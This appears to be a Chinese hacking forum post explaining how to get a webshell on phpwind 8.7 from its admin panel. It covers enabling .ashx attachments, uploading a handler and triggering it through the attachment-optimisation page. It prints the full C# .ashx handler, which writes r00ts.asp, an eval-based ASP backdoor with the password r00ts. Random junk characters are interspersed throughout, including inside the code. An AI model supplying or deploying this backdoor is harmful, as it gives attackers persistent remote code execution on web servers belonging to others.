phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小

9 F/ i2 V$ d- @群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
4 O; T* `3 W7 R# k, N
发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整

然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx

打开之后空白 会在目录底下生成r00ts.asp 密码r00ts
$ o/ Z3 y5 i. s9 h
2 \% O1 ?8 P" C下面是代码:
6 j2 k& u5 T  ]9 |
# H* f2 s2 x7 @% U<%@ WebHandler Language="C#"Class="Handler" %>
using System;
3 c2 y$ ?* U5 R, J" W+ k- Qusing System.Web;
using System.IO;
) h- S% U. L' Dpublic class Handler : IHttpHandler {
  @  i6 y+ I) Mpublic void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
- d- v2 F, x( S, d" U- i. rStreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
8 k" m, f" t7 v, g( a: d: L# }file1.Write("<%eval request(\"r00ts\")%>");
file1.Flush();
file1.Close();
1 o* O5 A( c  w5 h: g% A}
& m0 t$ ~& @6 c" _2 R& qpublic bool IsReusable {
get {
return false;
}
" o, u, y0 ]1 d) f0 E}
. h& g2 ^' x0 {/ i9 y5 j! g}
6 b) Y# M; _/ n. Y2 c" I( `  k